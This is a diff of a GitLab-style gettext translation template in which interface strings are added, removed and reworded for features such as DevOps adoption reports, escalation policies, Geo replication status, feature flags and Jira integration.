msgid "Create/import your first project"
msgstr ""
@@ -9943,27 +10028,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -10188,9 +10252,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10410,9 +10480,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10780,6 +10847,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11510,22 +11580,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11534,6 +11610,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11561,6 +11640,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11582,6 +11664,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11594,21 +11679,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|Leader usage"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11675,15 +11772,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11711,6 +11808,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11940,7 +12040,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11955,6 +12055,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11964,9 +12082,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -12081,9 +12196,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -12138,6 +12250,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12267,13 +12382,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12351,6 +12466,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12396,9 +12514,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12420,9 +12535,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -13092,9 +13204,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -13107,12 +13216,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -13221,6 +13336,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13282,7 +13445,11 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13927,6 +14094,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13951,9 +14121,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13981,9 +14148,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -14002,9 +14166,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -14047,9 +14208,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -14065,7 +14223,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14318,6 +14476,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14423,6 +14590,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14441,6 +14611,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14468,6 +14641,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14735,6 +14917,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14762,6 +14947,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14789,6 +14977,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14813,6 +15004,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14840,6 +15034,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14885,6 +15082,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14897,10 +15097,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -15065,6 +15271,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -15077,10 +15289,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15326,9 +15541,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15425,16 +15637,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15467,9 +15682,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15524,6 +15736,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15602,7 +15817,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15716,6 +15931,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15776,6 +15994,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15797,13 +16018,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15866,6 +16090,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16184,9 +16411,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -16223,22 +16447,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16310,7 +16543,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16325,6 +16558,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16337,6 +16573,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16455,9 +16703,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16489,9 +16734,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16576,9 +16818,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16588,9 +16845,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16744,6 +16998,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16996,6 +17253,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -17029,6 +17289,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -17041,9 +17304,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -17056,6 +17328,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17182,6 +17457,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17221,6 +17499,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17236,10 +17517,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17275,9 +17556,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17353,6 +17643,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17392,6 +17685,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17431,6 +17727,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17446,9 +17745,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17578,7 +17874,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17777,10 +18073,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17858,7 +18154,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -18044,7 +18340,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18278,6 +18574,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18347,12 +18646,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18380,6 +18673,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18425,6 +18739,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18527,6 +18844,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18536,6 +18856,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18569,13 +18895,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18599,7 +18925,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18674,6 +19000,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18689,10 +19018,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
